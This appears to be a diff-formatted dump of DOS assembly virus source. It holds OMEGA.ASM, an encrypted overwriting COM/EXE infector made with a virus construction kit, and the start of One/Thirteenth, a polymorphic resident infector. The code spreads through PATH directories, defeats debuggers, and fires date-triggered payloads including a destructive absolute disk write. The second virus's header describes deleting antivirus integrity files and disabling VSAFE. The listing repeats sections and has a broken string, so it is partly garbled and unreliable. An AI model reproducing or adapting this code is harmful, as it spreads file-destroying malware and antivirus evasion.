je infection_done ; If it is then skip it
|
||||
|
||||
cmp word ptr [si + 01Ah],(finish - start)
|
||||
jb infection_done ; If it's too small then exit
|
||||
|
||||
mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,4 ; CX holds bytes to read (4)
|
||||
mov dx,offset buffer ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
push si ; Save DTA address before compare
|
||||
mov si,offset buffer ; SI points to comparison buffer
|
||||
mov di,offset flag ; DI points to virus flag
|
||||
mov cx,4 ; CX holds number of bytes (4)
|
||||
rep cmpsb ; Compare the first four bytes
|
||||
pop si ; Restore DTA address
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
buffer db 4 dup (?) ; Buffer to hold test data
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 0F1h,0F6h,003h,06Bh,099h
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
db 0CDh,005h,004h,026h,0CFh
|
||||
|
||||
get_hour proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,ch ; Copy hour into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_hour endp
|
||||
|
||||
db 0F3h,06Ah,0F8h,002h,08Ah
|
||||
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
|
||||
db 0A8h,000h,015h,081h,0E7h
|
||||
|
||||
get_second proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,dh ; Copy second into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_second endp
|
||||
|
||||
db 03Fh,0FFh,089h,057h,0F2h
|
||||
|
||||
get_year proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
xchg cx,ax ; Transfer the year into AX
|
||||
ret ; Return to caller
|
||||
get_year endp
|
||||
|
||||
data00:
|
||||
db "Says the OMEGA virus:"
|
||||
|
||||
db "It has been nice playing these games with you but now it is all over."
|
||||
db "[...I am the Alpha and the Omega, the begining and the end.]"
|
||||
db "-Rev 22:6"
|
||||
db "Your C drive is being raptured!"
|
||||
|
||||
db "[...It is finished...]"
|
||||
db "-Rev 16:17"
|
||||
|
||||
|
||||
db "____________"
|
||||
db "/ \"
|
||||
db "| |"
|
||||
db "| |"
|
||||
db "| |"
|
||||
db "\ \ / /"
|
||||
db "\______\ /______/"
|
||||
|
||||
db "Omega"
|
||||
db "(The End)"
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
encrypt_code proc near
|
||||
mov si,offset encrypt_decrypt; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 8],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si],1 ;
|
||||
xor byte ptr [si + 7],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 10],0101h; (and vice-versa)
|
||||
|
||||
mov di,offset finish ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
mov si,offset write_stuff ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov dx,offset start ; DX points to virus
|
||||
|
||||
call finish ; Encrypt/write/decrypt
|
||||
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov si,offset start_of_code ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
|
@ -0,0 +1,540 @@
|
|||
; OMEGA.ASM -- Omega: The End
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Noinger
|
||||
|
||||
virus_type equ 1 ; Overwriting Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
start label near
|
||||
|
||||
main proc near
|
||||
flag: add bx,0
|
||||
xchg bx,ax
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
mov bx,offset null_vector ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
mov cx,0014h ; Do 20 infections
|
||||
search_loop: push cx ; Save CX
|
||||
call search_files ; Find and infect a file
|
||||
pop cx ; Restore CX
|
||||
loop search_loop ; Repeat until CX is 0
|
||||
|
||||
call get_month
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0010h ; Did the function return 16?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip00 ; If greater than or equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: mov cx,423Fh ; First argument is 16959
|
||||
new_shot: push cx ; Save the current count
|
||||
mov dx,0140h ; DX holds pitch
|
||||
mov bx,0100h ; BX holds shot duration
|
||||
in al,061h ; Read the speaker port
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
fire_shot: xor al,2 ; Toggle the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
add dx,09248h ;
|
||||
mov cl,3 ;
|
||||
ror dx,cl ; Figure out the delay time
|
||||
mov cx,dx ;
|
||||
and cx,01FFh ;
|
||||
or cx,10 ;
|
||||
shoot_pause: loop shoot_pause ; Delay a bit
|
||||
dec bx ; Are we done with the shot?
|
||||
jnz fire_shot ; If not, pulse the speaker
|
||||
and al,11111100b ; Turn off the speaker bit
|
||||
out 061h,al ; Write AL to speaker port
|
||||
mov bx,0002h ; BX holds delay time (ticks)
|
||||
xor ah,ah ; Get time function
|
||||
int 1Ah ; BIOS timer interrupt
|
||||
add bx,dx ; Add current time to delay
|
||||
shoot_delay: int 1Ah ; Get the time again
|
||||
cmp dx,bx ; Are we done yet?
|
||||
jne shoot_delay ; If not, keep checking
|
||||
pop cx ; Restore the count
|
||||
loop new_shot ; Do another shot
|
||||
|
||||
mov si,0001h ; First argument is 1
|
||||
push es ; Save ES
|
||||
xor ax,ax ; Set the extra segment to
|
||||
mov es,ax ; zero (ROM BIOS)
|
||||
shl si,1 ; Convert to word index
|
||||
mov word ptr [si + 03FEh],0 ; Zero COM port address
|
||||
pop es ; Restore ES
|
||||
|
||||
end00: call get_month
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jle skip01 ; If less that or equal, skip effect
|
||||
jmp short strt01 ; Success -- skip jump
|
||||
skip01: jmp end01 ; Skip the routine
|
||||
strt01: db 0EAh,000h,000h,0FFh,0FFh ; jmp far FFFFh:0000h
|
||||
|
||||
end01: call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip02 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jle skip02 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip02 ; If greater than or equal, skip effect
|
||||
jmp short strt02 ; Success -- skip jump
|
||||
skip02: jmp end02 ; Skip the routine
|
||||
strt02: mov bx,0001h ; First argument is 1
|
||||
mov si,0002h ; Second argument is 2
|
||||
push es ; Save ES
|
||||
xor ax,ax ; Set the extra segment to
|
||||
mov es,ax ; zero (ROM BIOS)
|
||||
shl bx,1 ; Convert to word index
|
||||
shl si,1 ; Convert to word index
|
||||
mov ax,word ptr [bx + 03FEh]; Zero COM port address
|
||||
xchg word ptr [si + 03FEh],ax; Put first value in second,
|
||||
mov word ptr [bx + 03FEh],ax; and second value in first!
|
||||
pop es ; Restore ES
|
||||
|
||||
end02: call get_month
|
||||
cmp ax,000Bh ; Did the function return 11?
|
||||
jne skip03 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jle skip03 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip03 ; If greater than or equal, skip effect
|
||||
jmp short strt03 ; Success -- skip jump
|
||||
skip03: jmp end03 ; Skip the routine
|
||||
strt03: int 018h ; Drop to ROM BASIC
|
||||
|
||||
end03: call get_month
|
||||
cmp ax,000Ch ; Did the function return 12?
|
||||
jne skip04 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0002h ; Did the function return 2?
|
||||
jle skip04 ; If less that or equal, skip effect
|
||||
cmp ax,0002h ; Did the function return 2?
|
||||
jge skip04 ; If greater than or equal, skip effect
|
||||
jmp short strt04 ; Success -- skip jump
|
||||
skip04: jmp end04 ; Skip the routine
|
||||
strt04: cli ; Clear the interrupt flag
|
||||
hlt ; HaLT the computer
|
||||
jmp short $ ; Just to make sure
|
||||
|
||||
end04: call get_year
|
||||
cmp ax,07CDh ; Did the function return 1997?
|
||||
jle skip05 ; If less that or equal, skip effect
|
||||
call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip05 ; If not equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0005h ; Did the function return 5?
|
||||
jle skip05 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip05 ; If greater than or equal, skip effect
|
||||
call get_second
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jne skip05 ; If not equal, skip effect
|
||||
jmp short strt05 ; Success -- skip jump
|
||||
skip05: jmp end05 ; Skip the routine
|
||||
strt05: mov si,offset data00 ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
end05: call get_year
|
||||
cmp ax,07CDh ; Did the function return 1997?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
call get_month
|
||||
cmp ax,0001h ; Did the function return 1?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
call get_hour
|
||||
cmp ax,0009h ; Did the function return 9?
|
||||
jle skip06 ; If less that or equal, skip effect
|
||||
cmp ax,000Fh ; Did the function return 15?
|
||||
jge skip06 ; If greater than or equal, skip effect
|
||||
call get_second
|
||||
cmp ax,0005h ; Did the function return 5?
|
||||
jne skip06 ; If not equal, skip effect
|
||||
jmp short strt06 ; Success -- skip jump
|
||||
skip06: jmp end06 ; Skip the routine
|
||||
strt06: mov ax,0002h ; First argument is 2
|
||||
mov cx,423Fh ; Second argument is 16959
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
|
||||
end06: mov ax,04C00h ; DOS terminate function
|
||||
int 021h
|
||||
main endp
|
||||
|
||||
|
||||
db 0FDh,0C8h,006h,0C6h,0DFh
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,135 ; Allocate 135 bytes on stack
|
||||
|
||||
mov byte ptr [bp - 135],'\' ; Start with a backslash
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 134] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
call traverse_path ; Start the traversal
|
||||
|
||||
traversal_loop: cmp word ptr [path_ad],0 ; Was the search unsuccessful?
|
||||
je done_searching ; If so then we're done
|
||||
call found_subdir ; Otherwise copy the subdirectory
|
||||
|
||||
mov ax,cs ; AX holds the code segment
|
||||
mov ds,ax ; Set the data and extra
|
||||
mov es,ax ; segments to the code segment
|
||||
|
||||
xor al,al ; Zero AL
|
||||
stosb ; NULL-terminate the directory
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 70] ; DX points to the directory
|
||||
int 021h
|
||||
|
||||
mov dx,offset com_mask ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a .COM file
|
||||
jnc done_searching ; If successful the exit
|
||||
mov dx,offset exe_mask ; DX points to "*.EXE"
|
||||
call find_files ; Try to infect an .EXE file
|
||||
jnc done_searching ; If successful the exit
|
||||
jmp short traversal_loop ; Keep checking the PATH
|
||||
|
||||
done_searching: mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 135] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
cmp word ptr [path_ad],0 ; Did we run out of directories?
|
||||
jne at_least_tried ; If not then exit
|
||||
stc ; Set the carry flag for failure
|
||||
at_least_tried: mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
exe_mask db "*.EXE",0 ; Mask for all .EXE files
|
||||
search_files endp
|
||||
|
||||
traverse_path proc near
|
||||
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
|
||||
xor di,di ; DI holds the starting offset
|
||||
|
||||
find_path: mov si,offset path_string ; SI points to "PATH="
|
||||
lodsb ; Load the "P" into AL
|
||||
mov cx,08000h ; Check the first 32767 bytes
|
||||
repne scasb ; Search until the byte is found
|
||||
mov cx,4 ; Check the next four bytes
|
||||
check_next_4: lodsb ; Load the next letter of "PATH="
|
||||
scasb ; Compare it to the environment
|
||||
jne find_path ; If there not equal try again
|
||||
loop check_next_4 ; Otherwise keep checking
|
||||
|
||||
mov word ptr [path_ad],di ; Save the PATH address for later
|
||||
mov word ptr [path_ad + 2],es ; Save PATH's segment for later
|
||||
ret ; Return to caller
|
||||
|
||||
path_string db "PATH=" ; The PATH string to search for
|
||||
path_ad dd ? ; Holds the PATH's address
|
||||
traverse_path endp
|
||||
|
||||
found_subdir proc near
|
||||
lds si,dword ptr [path_ad] ; DS:SI points to the PATH
|
||||
lea di,[bp - 70] ; DI points to the work buffer
|
||||
push cs ; Transfer CS into ES for
|
||||
pop es ; byte transfer
|
||||
move_subdir: lodsb ; Load the next byte into AL
|
||||
cmp al,';' ; Have we reached a separator?
|
||||
je moved_one ; If so we're done copying
|
||||
or al,al ; Are we finished with the PATH?
|
||||
je moved_last_one ; If so get out of here
|
||||
stosb ; Store the byte at ES:DI
|
||||
jmp short move_subdir ; Keep transfering characters
|
||||
|
||||
moved_last_one: xor si,si ; Zero SI to signal completion
|
||||
moved_one: mov word ptr es:[path_ad],si; Store SI in the path address
|
||||
ret ; Return to caller
|
||||
found_subdir endp
|
||||
|
||||
db 0BFh,0C0h,0BDh,072h,05Fh
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 0A9h,06Bh,0DAh,081h,0AFh
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ch],0 ; Is the file > 65535 bytes?
|
||||
jne infection_done ; If it is then exit
|
||||
|
||||
cmp word ptr [si + 025h],'DN' ; Might this be COMMAND.COM?
|
||||
je infection_done ; If it is then skip it
|
||||
|
||||
cmp word ptr [si + 01Ah],(finish - start)
|
||||
jb infection_done ; If it's too small then exit
|
||||
|
||||
mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,4 ; CX holds bytes to read (4)
|
||||
mov dx,offset buffer ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
push si ; Save DTA address before compare
|
||||
mov si,offset buffer ; SI points to comparison buffer
|
||||
mov di,offset flag ; DI points to virus flag
|
||||
mov cx,4 ; CX holds number of bytes (4)
|
||||
rep cmpsb ; Compare the first four bytes
|
||||
pop si ; Restore DTA address
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [set_carry],1 ; Success -- the file is OK
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
buffer db 4 dup (?) ; Buffer to hold test data
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 0F1h,0F6h,003h,06Bh,099h
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
db 0CDh,005h,004h,026h,0CFh
|
||||
|
||||
get_hour proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,ch ; Copy hour into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_hour endp
|
||||
|
||||
db 0F3h,06Ah,0F8h,002h,08Ah
|
||||
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
|
||||
db 0A8h,000h,015h,081h,0E7h
|
||||
|
||||
get_second proc near
|
||||
mov ah,02Ch ; DOS get time function
|
||||
int 021h
|
||||
mov al,dh ; Copy second into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_second endp
|
||||
|
||||
db 03Fh,0FFh,089h,057h,0F2h
|
||||
|
||||
get_year proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
xchg cx,ax ; Transfer the year into AX
|
||||
ret ; Return to caller
|
||||
get_year endp
|
||||
|
||||
data00:
|
||||
db "Says the OMEGA virus:"
|
||||
|
||||
db "It has been nice playing these games with you,
|
||||
db "...but now it is all over."
|
||||
db "[...I am the Alpha and the Omega, the begining and the end.]"
|
||||
db "-Rev 22:6"
|
||||
db "Your C drive is being raptured!"
|
||||
|
||||
db "[...It is finished...]"
|
||||
db "-Rev 16:17"
|
||||
|
||||
|
||||
db "____________"
|
||||
db "/ \"
|
||||
db "| |"
|
||||
db "| |"
|
||||
db "| |"
|
||||
db "\ \ / /"
|
||||
db "\______\ /______/"
|
||||
|
||||
db "Omega"
|
||||
db "(The End)"
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
encrypt_code proc near
|
||||
mov si,offset encrypt_decrypt; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 8],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si],1 ;
|
||||
xor byte ptr [si + 7],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 10],0101h; (and vice-versa)
|
||||
|
||||
mov di,offset finish ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
mov si,offset write_stuff ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov dx,offset start ; DX points to virus
|
||||
|
||||
call finish ; Encrypt/write/decrypt
|
||||
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
mov si,offset start_of_code ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
|
@ -0,0 +1,429 @@
|
|||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
; One/Thirteenth - coded by ûirogen [NuKE] on 02-23-95
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-Ä
|
||||
; -Polymorphic, Memory-Resident, Parastic COM & EXE Infector
|
||||
; -Deletes Invircible Signature Files from disk no matter what name
|
||||
; they are under.
|
||||
; -Also deletes ANTI-VIR.DAT, CHKLIST.MS, and CHKLIST.CPS.
|
||||
; -Avoids Infecting InVircible Bait Files
|
||||
; -Disables VSAFE/VWATCH if in memory
|
||||
; -Avoids new format EXEs
|
||||
; -Installs it's own INT 24h
|
||||
; -EXE Id is: Checksum Not 0
|
||||
; -COM Id is: Fourth byte 0
|
||||
; -Resident Check: VSAFE/VWATCH API , ret:SI=0
|
||||
;
|
||||
; Polymorphism: ûiCE v0.3á /w JMPS ON & ANTI-TBSCAN CODE ON
|
||||
;
|
||||
;
|
||||
;
|
||||
cseg segment
|
||||
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
|
||||
|
||||
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
|
||||
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
|
||||
buf_size equ 170
|
||||
vice_size equ 1761+buf_size
|
||||
virus_size equ (offset vend-offset start)+VICE_SIZE
|
||||
|
||||
extrn _vice: near
|
||||
|
||||
org 0h
|
||||
start:
|
||||
int 3
|
||||
call nx ; get relative offset
|
||||
nx: mov si,sp ; no-heuristic
|
||||
sub word ptr ss: [si],offset nx
|
||||
mov bp,word ptr ss: [si]
|
||||
add sp,2
|
||||
|
||||
push ds es ; save segments for EXE
|
||||
inc si
|
||||
mov ax,1000
|
||||
add ax,signal-1000 ; no heuristics m0n
|
||||
mov dx,vsafe_word
|
||||
int 21h
|
||||
or si,si
|
||||
jz no_install ; if carry then we are
|
||||
|
||||
mov ax,ds ; PSP segment
|
||||
dec ax ; mcb below PSP m0n
|
||||
mov ds,ax ; DS=MCB seg
|
||||
mov al,'Z' ; no heuristics
|
||||
cmp byte ptr ds: [0],al ; Is this the last MCB in chain?
|
||||
jnz no_install
|
||||
sub word ptr ds: [3],((virus_size+1023)/1024)*64*2 ; alloc MCB
|
||||
sub word ptr ds: [12h],((virus_size+1023)/1024)*64*2 ; alloc PSP
|
||||
mov es,word ptr ds: [12h] ; get high mem seg
|
||||
push cs
|
||||
pop ds
|
||||
mov si,bp
|
||||
mov cx,virus_size/2+1
|
||||
xor di,di
|
||||
rep movsw ; copy code to new seg
|
||||
xor ax,ax
|
||||
mov ds,ax ; null ds
|
||||
push ds
|
||||
lds ax,ds: [21h*4] ; get 21h vector
|
||||
mov es: word ptr old21+2,ds ; save S:O
|
||||
mov es: word ptr old21,ax
|
||||
pop ds
|
||||
mov ds: [21h*4+2],es ; new int 21h seg
|
||||
mov ds: [21h*4],offset new21 ; new offset
|
||||
sub byte ptr ds: [413h],((virus_size+1023)*2)/1024 ;-totalmem
|
||||
|
||||
no_install:
|
||||
|
||||
pop es ds ; restore ES DS
|
||||
xor ax,ax ; null regs
|
||||
xor bx,bx
|
||||
xor dx,dx
|
||||
cmp cs: is_exe[bp],1
|
||||
jz exe_return
|
||||
|
||||
lea si,org_bytes[bp] ; com return
|
||||
mov di,0100h ; -restore first 4 bytes
|
||||
mov cx,2
|
||||
rep movsw
|
||||
|
||||
mov cx,100h ; jump back to 100h
|
||||
